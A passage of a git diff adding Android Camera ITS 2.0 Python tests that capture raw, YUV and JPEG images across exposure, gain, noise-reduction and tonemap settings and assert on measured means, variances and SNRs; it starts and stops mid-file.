+      sens_ae, exp_ae, _, _, f_dist = cam.do_3a(get_results=True)
+      sens_exp_prod = sens_ae * exp_ae
+      reqs = []
+      settings = []
+      for sens in range(sens_min, sens_max, sens_step):
+        exp = int(sens_exp_prod / float(sens))
+        req = capture_request_utils.manual_capture_request(sens, exp, f_dist)
+        reqs.append(req)
+        settings.append((sens, exp))
+
+      # Get rawStats capture format
+      fmt = define_raw_stats_fmt(props)
+
+      # Do captures
+      caps = cam.do_capture(reqs, fmt)
+
+      # Extract variances from each shot
+      variances = []
+      for i, cap in enumerate(caps):
+        (sens, exp) = settings[i]
+
+        # Find white_level for RawStats normalization
+        white_level = float(props['android.sensor.info.whiteLevel'])
+        _, var_image = image_processing_utils.unpack_rawstats_capture(cap)
+        cfa_idxs = image_processing_utils.get_canonical_cfa_order(props)
+        var = var_image[_IMG_STATS_GRID//2, _IMG_STATS_GRID//2,
+                        cfa_idxs[_GR_PLANE_IDX]]/white_level**2
+        variances.append(var)
+        logging.debug('s=%d, e=%d, var=%e', sens, exp, var)
+
+      # Create a plot
+      x = range(len(variances))
+      pylab.figure(_NAME)
+      pylab.plot(x, variances, '-ro')
+      pylab.xticks(x)
+      pylab.ticklabel_format(style='sci', axis='y', scilimits=(-6, -6))
+      pylab.xlabel('Setting Combination')
+      pylab.ylabel('Image Center Patch Variance')
+      pylab.title(_NAME)
+      matplotlib.pyplot.savefig(
+          '%s_variances.png' % os.path.join(self.log_path, _NAME))
+
+      # Asserts that each shot is noisier than previous
+      for i in x[0:-1]:
+        e_msg = 'variances [i]: %.5f, [i+1]: %.5f, THRESH: %.2f' % (
+            variances[i], variances[i+1], _VAR_THRESH)
+        assert variances[i] < variances[i+1] / _VAR_THRESH, e_msg
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene1_2/test_raw_exposure.py b/apps/CameraITS2.0/tests/scene1_2/test_raw_exposure.py
new file mode 100644
index 0000000..209c83a
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene1_2/test_raw_exposure.py
@@ -0,0 +1,210 @@
+# Copyright 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os.path
+import matplotlib
+from matplotlib import pylab
+from mobly import test_runner
+import numpy as np
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
+BLK_LVL_RTOL = 0.1
+BURST_LEN = 10  # break captures into burst of BURST_LEN requests
+COLORS = ['R', 'Gr', 'Gb', 'B']
+EXP_LONG_THRESH = 1E6  # 1ms
+EXP_MULT_SHORT = pow(2, 1.0/3)  # Test 3 steps per 2x exposure
+EXP_MULT_LONG = pow(10, 1.0/3)  # Test 3 steps per 10x exposure
+IMG_DELTA_THRESH = 0.99  # Each shot must be > 0.99*previous
+IMG_SAT_RTOL = 0.01  # 1%
+IMG_STATS_GRID = 9  # find used to find the center 11.11%
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+NS_TO_MS_FACTOR = 1.0E-6
+NUM_COLORS = len(COLORS)
+NUM_ISO_STEPS = 5
+
+
+def create_test_exposure_list(e_min, e_max):
+  """Create the list of exposure values to test."""
+  e_list = []
+  mult = 1.0
+  while e_min*mult < e_max:
+    e_list.append(int(e_min*mult))
+    if e_min*mult < EXP_LONG_THRESH:
+      mult *= EXP_MULT_SHORT
+    else:
+      mult *= EXP_MULT_LONG
+  if e_list[-1] < e_max*IMG_DELTA_THRESH:
+    e_list.append(int(e_max))
+  return e_list
+
+
+def define_raw_stats_fmt(props):
+  """Define format with active array width and height."""
+  aax = props['android.sensor.info.preCorrectionActiveArraySize']['left']
+  aay = props['android.sensor.info.preCorrectionActiveArraySize']['top']
+  aaw = props['android.sensor.info.preCorrectionActiveArraySize']['right']-aax
+  aah = props['android.sensor.info.preCorrectionActiveArraySize']['bottom']-aay
+  return {'format': 'rawStats',
+          'gridWidth': aaw // IMG_STATS_GRID,
+          'gridHeight': aah // IMG_STATS_GRID}
+
+
+def create_plot(exps, means, sens, log_path):
+  """Create plots R, Gr, Gb, B vs exposures.
+
+  Args:
+    exps: array of exposure times in ms
+    means: array of means for RAW captures
+    sens: int value for ISO gain
+    log_path: path to write plot file
+  Returns:
+    None
+  """
+  # means[0] is black level value
+  r = [m[0] for m in means[1:]]
+  gr = [m[1] for m in means[1:]]
+  gb = [m[2] for m in means[1:]]
+  b = [m[3] for m in means[1:]]
+  pylab.figure('%s_%s' % (NAME, sens))
+  pylab.plot(exps, r, 'r.-')
+  pylab.plot(exps, b, 'b.-')
+  pylab.plot(exps, gr, 'g.-')
+  pylab.plot(exps, gb, 'k.-')
+  pylab.xscale('log')
+  pylab.yscale('log')
+  pylab.title('%s ISO=%d' % (NAME, sens))
+  pylab.xlabel('Exposure time (ms)')
+  pylab.ylabel('Center patch pixel mean')
+  matplotlib.pyplot.savefig(
+      '%s_s=%d.png' % (os.path.join(log_path, NAME), sens))
+  pylab.clf()
+
+
+def assert_increasing_means(means, exps, sens, black_levels, white_level):
+  """Assert that each image increases unless over/undersaturated.
+
+  Args:
+    means: COLORS means for set of images
+    exps: exposure times in ms
+    sens: ISO gain value
+    black_levels: COLORS black_level values
+    white_level: full scale value
+  Returns:
+    None
+  """
+  allow_under_saturated = True
+  for i in range(1, len(means)):
+    prev_mean = means[i-1]
+    mean = means[i]
+
+    if np.isclose(max(mean), white_level, rtol=IMG_SAT_RTOL):
+      logging.debug('Saturated: white_level %f, max_mean %f',
+                    white_level, max(mean))
+      break
+
+    if allow_under_saturated and np.allclose(
+        mean, black_levels, rtol=BLK_LVL_RTOL):
+      # All channel means are close to black level
+      continue
+
+    allow_under_saturated = False
+    # Check pixel means are increasing (with small tolerance)
+    for ch, color in enumerate(COLORS):
+      e_msg = 'ISO=%d, %s, exp %3fms mean: %.2f, %s mean: %.2f, TOL=%.f%%' % (
+          sens, color, exps[i-1], mean[ch],
+          'black level' if i == 1 else 'exp_time %3fms'%exps[i-2],
+          prev_mean[ch], IMG_DELTA_THRESH*100)
+      assert mean[ch] > prev_mean[ch] * IMG_DELTA_THRESH, e_msg
+
+
+class RawExposureTest(its_base_test.ItsBaseTest):
+  """Capture RAW images with increasing exp time and measure pixel values."""
+
+  def test_raw_exposure(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.raw16(props) and
+          camera_properties_utils.manual_sensor(props) and
+          camera_properties_utils.per_frame_control(props) and
+          not camera_properties_utils.mono_camera(props))
+      log_path = self.log_path
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Create list of exposures
+      e_min, e_max = props['android.sensor.info.exposureTimeRange']
+      e_test = create_test_exposure_list(e_min, e_max)
+      e_test_ms = [e*NS_TO_MS_FACTOR for e in e_test]
+
+      # Capture with rawStats to reduce capture times
+      fmt = define_raw_stats_fmt(props)
+
+      # Create sensitivity range from min to max analog sensitivity
+      sens_min, _ = props['android.sensor.info.sensitivityRange']
+      sens_max = props['android.sensor.maxAnalogSensitivity']
+      sens_step = (sens_max - sens_min) // NUM_ISO_STEPS
+      white_level = float(props['android.sensor.info.whiteLevel'])
+      black_levels = [image_processing_utils.get_black_level(
+          i, props) for i in range(NUM_COLORS)]
+
+      # Do captures with exposure list over sensitivity range
+      for s in range(sens_min, sens_max, sens_step):
+        # Break caps into bursts and do captures
+        burst_len = BURST_LEN
+        caps = []
+        reqs = [capture_request_utils.manual_capture_request(
+            s, e, 0) for e in e_test]
+        # Eliminate burst len==1. Error because returns [[]], not [{}, ...]
+        while len(reqs) % burst_len == 1:
+          burst_len -= 1
+        # Break caps into bursts
+        for i in range(len(reqs) // burst_len):
+          caps += cam.do_capture(reqs[i*burst_len:(i+1)*burst_len], fmt)
+        last_n = len(reqs) % burst_len
+        if last_n:
+          caps += cam.do_capture(reqs[-last_n:], fmt)
+
+        # Extract means for each capture
+        means = []
+        means.append(black_levels)
+        for i, cap in enumerate(caps):
+          mean_image, _ = image_processing_utils.unpack_rawstats_capture(cap)
+          mean = mean_image[IMG_STATS_GRID // 2, IMG_STATS_GRID // 2]
+          logging.debug('ISO=%d, exp_time=%.3fms, mean=%s',
+                        s, (e_test[i] * NS_TO_MS_FACTOR), str(mean))
+          means.append(mean)
+
+        # Create plot
+        create_plot(e_test_ms, means, s, log_path)
+
+        # Each shot mean should be brighter (except under/overexposed scene)
+        assert_increasing_means(means, e_test_ms, s, black_levels, white_level)
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene1_2/test_raw_sensitivity.py b/apps/CameraITS2.0/tests/scene1_2/test_raw_sensitivity.py
new file mode 100644
index 0000000..fd1e117
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene1_2/test_raw_sensitivity.py
@@ -0,0 +1,124 @@
+# Copyright 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os.path
+import matplotlib
+from matplotlib import pylab
+from mobly import test_runner
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import cv2_image_processing_utils
+import image_processing_utils
+import its_session_utils
+
+GR_PLANE_IDX = 1  # GR plane index in RGGB data
+IMG_STATS_GRID = 9  # Center 11.11%
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+NUM_SENS_STEPS = 5
+VAR_THRESH = 1.01  # Each shot must be 1% noisier than previous
+
+
+def define_raw_stats_fmt(props):
+  """Define format with active array width and height."""
+  aax = props['android.sensor.info.preCorrectionActiveArraySize']['left']
+  aay = props['android.sensor.info.preCorrectionActiveArraySize']['top']
+  aaw = props['android.sensor.info.preCorrectionActiveArraySize']['right'] - aax
+  aah = props[
+      'android.sensor.info.preCorrectionActiveArraySize']['bottom'] - aay
+
+  return {'format': 'rawStats',
+          'gridWidth': aaw // IMG_STATS_GRID,
+          'gridHeight': aah // IMG_STATS_GRID}
+
+
+class RawSensitivityTest(its_base_test.ItsBaseTest):
+  """Capture a set of raw images with increasing gains and measure the noise."""
+
+  def test_raw_sensitivity_test(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.raw16(props) and
+          camera_properties_utils.manual_sensor(props) and
+          camera_properties_utils.read_3a(props) and
+          camera_properties_utils.per_frame_control(props) and
+          not camera_properties_utils.mono_camera(props))
+      log_path = self.log_path
+      camera_fov = float(cam.calc_camera_fov(props))
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Expose for the scene with min sensitivity
+      sens_min, _ = props['android.sensor.info.sensitivityRange']
+      # Digital gains might not be visible on RAW data
+      sens_max = props['android.sensor.maxAnalogSensitivity']
+      sens_step = (sens_max - sens_min) // NUM_SENS_STEPS
+
+      # Skip AF if TELE camera
+      if camera_fov <= cv2_image_processing_utils.FOV_THRESH_TELE:
+        s_ae, e_ae, _, _, _ = cam.do_3a(do_af=False, get_results=True)
+        f_dist = 0
+      else:
+        s_ae, e_ae, _, _, f_dist = cam.do_3a(get_results=True)
+      s_e_prod = s_ae * e_ae
+
+      sensitivities = list(range(sens_min, sens_max, sens_step))
+      variances = []
+      for s in sensitivities:
+        e = int(s_e_prod / float(s))
+        req = capture_request_utils.manual_capture_request(s, e, f_dist)
+
+        # Capture in rawStats to reduce test run time
+        fmt = define_raw_stats_fmt(props)
+        cap = cam.do_capture(req, fmt)
+
+        # Measure variance
+        _, var_image = image_processing_utils.unpack_rawstats_capture(cap)
+        cfa_idxs = image_processing_utils.get_canonical_cfa_order(props)
+        white_level = float(props['android.sensor.info.whiteLevel'])
+        var = var_image[IMG_STATS_GRID//2, IMG_STATS_GRID//2,
+                        cfa_idxs[GR_PLANE_IDX]]/white_level**2
+        logging.debug('s=%d, e=%d, var=%e', s, e, var)
+        variances.append(var)
+
+      # Create plot
+      pylab.figure(NAME)
+      pylab.plot(sensitivities, variances, '-ro')
+      pylab.xticks(sensitivities)
+      pylab.xlabel('Sensitivities')
+      pylab.ylabel('Image Center Patch Variance')
+      pylab.ticklabel_format(axis='y', style='sci', scilimits=(-6, -6))
+      pylab.title(NAME)
+      matplotlib.pyplot.savefig(
+          '%s_variances.png' % os.path.join(log_path, NAME))
+
+      # Test that each shot is noisier than previous
+      for i in range(len(variances) - 1):
+        e_msg = 'variances [i]: %.5f, [i+1]: %.5f, THRESH: %.2f' % (
+            variances[i], variances[i+1], VAR_THRESH)
+        assert variances[i] < variances[i+1]/VAR_THRESH, e_msg
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene1_2/test_reprocess_noise_reduction.py b/apps/CameraITS2.0/tests/scene1_2/test_reprocess_noise_reduction.py
new file mode 100644
index 0000000..47d547b
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene1_2/test_reprocess_noise_reduction.py
@@ -0,0 +1,231 @@
+# Copyright 2015 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os.path
+import matplotlib
+from matplotlib import pylab
+from mobly import test_runner
+import numpy as np
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import target_exposure_utils
+
+_COLORS = ('R', 'G', 'B')
+_NAME = os.path.splitext(os.path.basename(__file__))[0]
+_NR_MODES = {'OFF': 0, 'FAST': 1, 'HQ': 2, 'MIN': 3, 'ZSL': 4}
+_NR_MODES_LIST = tuple(_NR_MODES.values())
+_NUM_FRAMES = 4
+_PATCH_H = 0.1  # center 10%
+_PATCH_W = 0.1
+_PATCH_X = 0.5 - _PATCH_W/2
+_PATCH_Y = 0.5 - _PATCH_H/2
+_SNR_TOL = 3  # unit in dB
+
+
+def calc_rgb_snr(cap, frame, nr_mode, log_path):
+  """Calculate the RGB SNRs from a capture center patch.
+
+  Args:
+    cap: Camera capture object.
+    frame: Integer frame number.
+    nr_mode: Integer noise reduction mode index.
+    log_path: Text of locatoion to save images.
+
+  Returns:
+    RGB SNRs.
+  """
+  img = image_processing_utils.decompress_jpeg_to_rgb_image(cap)
+  if frame == 0:  # save 1st frame
+    image_processing_utils.write_image(img, '%s_high_gain_nr=%d_fmt=jpg.jpg' % (
+        os.path.join(log_path, _NAME), nr_mode))
+  patch = image_processing_utils.get_image_patch(
+      img, _PATCH_X, _PATCH_Y, _PATCH_W, _PATCH_H)
+  return image_processing_utils.compute_image_snrs(patch)
+
+
+def create_plot(snrs, reprocess_format, log_path):
+  """create plot from data.
+
+  Args:
+    snrs: RGB SNR data from NR_MODES captures.
+    reprocess_format: String of 'yuv' or 'private'.
+    log_path: String location for data.
+  """
+  pylab.figure(reprocess_format)
+  for ch, color in enumerate(_COLORS):
+    pylab.plot(_NR_MODES_LIST, snrs[ch], f'-{color.lower()}o')
+  pylab.title('%s (%s)' % (_NAME, reprocess_format))
+  pylab.xlabel('%s' % str(_NR_MODES)[1:-1])  # strip '{' '}' off string
+  pylab.ylabel('SNR (dB)')
+  pylab.xticks(_NR_MODES_LIST)
+  matplotlib.pyplot.savefig('%s_plot_%s_SNRs.png' % (
+      os.path.join(log_path, _NAME), reprocess_format))
+
+
+class ReprocessNoiseReductionTest(its_base_test.ItsBaseTest):
+  """Test android.noiseReduction.mode is applied for reprocessing requests.
+
+  Uses JPEG captures for the reprocessing as YUV captures are not available.
+  Uses high analog gain to ensure the captured images are noisy.
+
+  Determines which reprocessing formats are available among 'yuv' and 'private'.
+  For each reprocessing format:
+    Captures in supported reprocessed modes.
+    Averages _NUM_FRAMES to account for frame-to-frame variation.
+    Logs min/max of captures for debug if gross outlier.
+    Noise reduction (NR) modes:
+      OFF, FAST, High Quality (HQ), Minimal (MIN), and zero shutter lag (ZSL)
+
+    Proper behavior:
+      FAST >= OFF, HQ >= FAST, HQ >> OFF
+      if MIN mode supported: MIN >= OFF, HQ >= MIN, ZSL ~ MIN
+      else: ZSL ~ OFF
+  """
+
+  def test_reprocess_noise_reduction(self):
+    logging.debug('Starting %s', _NAME)
+    logging.debug('NR_MODES: %s', str(_NR_MODES))
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.compute_target_exposure(props) and
+          camera_properties_utils.per_frame_control(props) and
+          camera_properties_utils.noise_reduction_mode(props, 0) and
+          (camera_properties_utils.yuv_reprocess(props) or
+           camera_properties_utils.private_reprocess(props)))
+      log_path = self.log_path
+
+      # Load chart for scene.
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # If reprocessing is supported, ZSL NR mode must be avaiable.
+      if not camera_properties_utils.noise_reduction_mode(
+          props, _NR_MODES['ZSL']):
+        raise KeyError('Reprocessing supported, so ZSL must be supported.')
+
+      reprocess_formats = []
+      if camera_properties_utils.yuv_reprocess(props):
+        reprocess_formats.append('yuv')
+      if camera_properties_utils.private_reprocess(props):
+        reprocess_formats.append('private')
+
+      size = capture_request_utils.get_available_output_sizes('jpg', props)[0]
+      out_surface = {'width': size[0], 'height': size[1], 'format': 'jpg'}
+      for reprocess_format in reprocess_formats:
+        logging.debug('Reprocess format: %s', reprocess_format)
+        # List of variances for R, G, B.
+        snrs = [[], [], []]
+        nr_modes_reported = []
+
+        # Capture for each mode.
+        exp, sens = target_exposure_utils.get_target_exposure_combos(
+            log_path, cam)['maxSensitivity']
+        for nr_mode in _NR_MODES_LIST:
+          # Skip unavailable modes
+          if not camera_properties_utils.noise_reduction_mode(props, nr_mode):
+            nr_modes_reported.append(nr_mode)
+            for ch, _ in enumerate(_COLORS):
+              snrs[ch].append(0)
+            continue
+
+          # Create req, do caps and calc center SNRs.
+          rgb_snr_list = []
+          nr_modes_reported.append(nr_mode)
+          req = capture_request_utils.manual_capture_request(sens, exp)
+          req['android.noiseReduction.mode'] = nr_mode
+          caps = cam.do_capture(
+              [req]*_NUM_FRAMES, out_surface, reprocess_format)
+          for i in range(_NUM_FRAMES):
+            rgb_snr_list.append(calc_rgb_snr(caps[i]['data'], i, nr_mode,
+                                             log_path))
+
+          r_snrs = [rgb[0] for rgb in rgb_snr_list]
+          g_snrs = [rgb[1] for rgb in rgb_snr_list]
+          b_snrs = [rgb[2] for rgb in rgb_snr_list]
+          rgb_avg_snrs = [np.mean(r_snrs), np.mean(g_snrs), np.mean(b_snrs)]
+          for ch, x_snrs in enumerate([r_snrs, g_snrs, b_snrs]):
+            snrs[ch].append(rgb_avg_snrs[ch])
+            logging.debug(
+                'NR mode %d %s SNR avg: %.2f min: %.2f, max: %.2f', nr_mode,
+                _COLORS[ch], rgb_avg_snrs[ch], min(x_snrs), max(x_snrs))
+
+        # Plot data.
+        create_plot(snrs, reprocess_format, log_path)
+
+        # Assert proper behavior.
+        if nr_modes_reported != list(_NR_MODES_LIST):
+          raise KeyError('Reported modes: '
+                         f'{nr_modes_reported}. Expected: {_NR_MODES_LIST}.')
+        for j, _ in enumerate(_COLORS):
+          # OFF < FAST + TOL
+          if snrs[j][_NR_MODES['OFF']] >= snrs[j][_NR_MODES['FAST']]+_SNR_TOL:
+            raise AssertionError(f'FAST: {snrs[j][_NR_MODES["FAST"]]}.2f, '
+                                 f'OFF: {snrs[j][_NR_MODES["OFF"]]}.2f, '
+                                 f'TOL: {_SNR_TOL}')
+
+          # FAST < HQ + TOL
+          if snrs[j][_NR_MODES['FAST']] >= snrs[j][_NR_MODES['HQ']]+_SNR_TOL:
+            raise AssertionError(f'HQ: {snrs[j][_NR_MODES["HQ"]]}.2f, '
+                                 f'FAST: {snrs[j][_NR_MODES["FAST"]]}.2f, '
+                                 f'TOL: {_SNR_TOL}')
+
+          # HQ > OFF
+          if snrs[j][_NR_MODES['HQ']] <= snrs[j][_NR_MODES['OFF']]:
+            raise AssertionError(f'HQ: {snrs[j][_NR_MODES["HQ"]]}.2f, '
+                                 f'OFF: {snrs[j][_NR_MODES["OFF"]]}.2f')
+
+          if camera_properties_utils.noise_reduction_mode(
+              props, _NR_MODES['MIN']):
+            # OFF < MIN + TOL
+            if snrs[j][_NR_MODES['OFF']] >= snrs[j][_NR_MODES['MIN']]+_SNR_TOL:
+              raise AssertionError(f'MIN: {snrs[j][_NR_MODES["MIN"]]}.2f, '
+                                   f'OFF: {snrs[j][_NR_MODES["OFF"]]}.2f, '
+                                   f'TOL: {_SNR_TOL}')
+
+            # MIN < HQ + TOL
+            if snrs[j][_NR_MODES['MIN']] >= snrs[j][_NR_MODES['HQ']]+_SNR_TOL:
+              raise AssertionError(f'MIN: {snrs[j][_NR_MODES["MIN"]]}.2f, '
+                                   f'HQ: {snrs[j][_NR_MODES["HQ"]]}.2f, '
+                                   f'TOL: {_SNR_TOL}')
+
+            # ZSL ~ MIN
+            if not np.isclose(
+                snrs[j][_NR_MODES['ZSL']], snrs[j][_NR_MODES['MIN']],
+                atol=_SNR_TOL):
+              raise AssertionError(f'ZSL: {snrs[j][_NR_MODES["ZSL"]]}.2f, '
+                                   f'MIN: {snrs[j][_NR_MODES["MIN"]]}.2f, '
+                                   f'TOL: {_SNR_TOL}')
+          else:
+            # ZSL ~ OFF
+            if not np.isclose(
+                snrs[j][_NR_MODES['ZSL']], snrs[j][_NR_MODES['OFF']],
+                atol=_SNR_TOL):
+              raise AssertionError(f'ZSL: {snrs[j][_NR_MODES["ZSL"]]}.2f, '
+                                   f'OFF: {snrs[j][_NR_MODES["OFF"]]}.2f, '
+                                   f'TOL: {_SNR_TOL}')
+
+if __name__ == '__main__':
+  test_runner.main()
+
diff --git a/apps/CameraITS2.0/tests/scene1_2/test_tonemap_sequence.py b/apps/CameraITS2.0/tests/scene1_2/test_tonemap_sequence.py
new file mode 100644
index 0000000..efdba29
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene1_2/test_tonemap_sequence.py
@@ -0,0 +1,130 @@
+# Copyright 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os.path
+from mobly import test_runner
+import numpy as np
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
+_MAX_DELTA_SAME = 0.03  # match number in test_burst_sameness_manual
+_MIN_DELTA_DIFF = 0.10
+_NAME = os.path.splitext(os.path.basename(__file__))[0]
+_NUM_FRAMES = 3
+_PATCH_H = 0.1  # center 10%
+_PATCH_W = 0.1
+_PATCH_X = 0.5 - _PATCH_W/2
+_PATCH_Y = 0.5 - _PATCH_H/2
+_RGB_G_CH = 1
+_TMAP_NO_DELTA_FRAMES = list(range(_NUM_FRAMES-1)) + list(
+    range(_NUM_FRAMES, 2*_NUM_FRAMES-1))
+
+
+def do_captures_and_extract_means(cam, req, fmt, tonemap, log_path):
+  """Do captures, save image and extract means from center patch.
+
+  Args:
+    cam: camera object.
+    req: camera request.
+    fmt: capture format.
+    tonemap: string to determine 'linear' or 'default' tonemap.
+    log_path: location to save images.
+
+  Returns:
+    appended means list.
+  """
+  green_means = []
+  for i in range(_NUM_FRAMES):
+    cap = cam.do_capture(req, fmt)
+    img = image_processing_utils.convert_capture_to_rgb_image(cap)
+    image_processing_utils.write_image(
+        img, '%s_%s_%d.jpg' % (os.path.join(log_path, _NAME), tonemap, i))
+    patch = image_processing_utils.get_image_patch(
+        img, _PATCH_X, _PATCH_Y, _PATCH_W, _PATCH_H)
+    rgb_means = image_processing_utils.compute_image_means(patch)
+    logging.debug('%s frame %d means: %s', tonemap, i, str(rgb_means))
+    green_means.append(rgb_means[_RGB_G_CH])  # G, note python 2 version used R
+  return green_means
+
+
+class TonemapSequenceTest(its_base_test.ItsBaseTest):
+  """Tests a sequence of shots with different tonemap curves.
+
+  There should be _NUM_FRAMES with a linear tonemap followed by a second set of
+  _NUM_FRAMES with the default tonemap.
+
+  asserts the frames in each _NUM_FRAMES bunch are similar
+  asserts the frames in the 2 _NUM_FRAMES bunches are different by >10%
+  """
+
+  def test_tonemap_sequence(self):
+    logging.debug('Starting %s', _NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.manual_sensor(props) and
+          camera_properties_utils.manual_post_proc(props) and
+          camera_properties_utils.per_frame_control(props) and
+          not camera_properties_utils.mono_camera(props))
+      log_path = self.log_path
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      largest_yuv = capture_request_utils.get_largest_yuv_format(props)
+      match_ar = (largest_yuv['width'], largest_yuv['height'])
+      fmt = capture_request_utils.get_smallest_yuv_format(
+          props, match_ar=match_ar)
+      sens, exp, _, _, f_dist = cam.do_3a(do_af=True, get_results=True)
+      means = []
+
+      # linear tonemap req & captures
+      req = capture_request_utils.manual_capture_request(
+          sens, exp, f_dist, True, props)
+      means.extend(do_captures_and_extract_means(
+          cam, req, fmt, 'linear', log_path))
+
+      # default tonemap req & captures
+      req = capture_request_utils.manual_capture_request(
+          sens, exp, f_dist, False)
+      means.extend(do_captures_and_extract_means(
+          cam, req, fmt, 'default', log_path))
+
+      # Compute the delta between each consecutive frame pair
+      deltas = [np.fabs(means[i+1]-means[i]) for i in range(2*_NUM_FRAMES-1)]
+      logging.debug('Deltas between consecutive frames: %s', str(deltas))
+
+      # assert frames similar with same tonemap
+      if not all([deltas[i] < _MAX_DELTA_SAME for i in _TMAP_NO_DELTA_FRAMES]):
+        raise AssertionError(
+            f'deltas: {str(deltas)}, MAX_DELTA: {_MAX_DELTA_SAME}')
+
+      # assert frames different with tonemap change
+      if deltas[_NUM_FRAMES-1] <= _MIN_DELTA_DIFF:
+        raise AssertionError(f'delta: {deltas[_NUM_FRAMES-1]}.5f, '
+                             f'THRESH: {_MIN_DELTA_DIFF}')
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene1_2/test_yuv_jpeg_all.py b/apps/CameraITS2.0/tests/scene1_2/test_yuv_jpeg_all.py
new file mode 100644
index 0000000..a68d74f
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene1_2/test_yuv_jpeg_all.py
@@ -0,0 +1,139 @@
+# Copyright 2013 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os.path
+import matplotlib
+from matplotlib import pylab
+from mobly import test_runner
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import target_exposure_utils
+
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+PATCH_H = 0.1  # center 10%
+PATCH_W = 0.1
+PATCH_X = 0.5 - PATCH_W/2
+PATCH_Y = 0.5 - PATCH_H/2
+THRESHOLD_MAX_RMS_DIFF = 0.03
+
+
+def do_capture_and_extract_rgb_means(req, cam, size, img_type, log_path, debug):
+  """Do capture and extra rgb_means of center patch.
+
+  Args:
+    req: capture request
+    cam: camera object
+    size: [width, height]
+    img_type: string of 'yuv' or 'jpeg'
+    log_path: location for saving image
+    debug: boolean to flag saving captured images
+
+  Returns:
+    center patch RGB means
+  """
+  out_surface = {'width': size[0], 'height': size[1], 'format': img_type}
+  cap = cam.do_capture(req, out_surface)
+  if img_type == 'jpg':
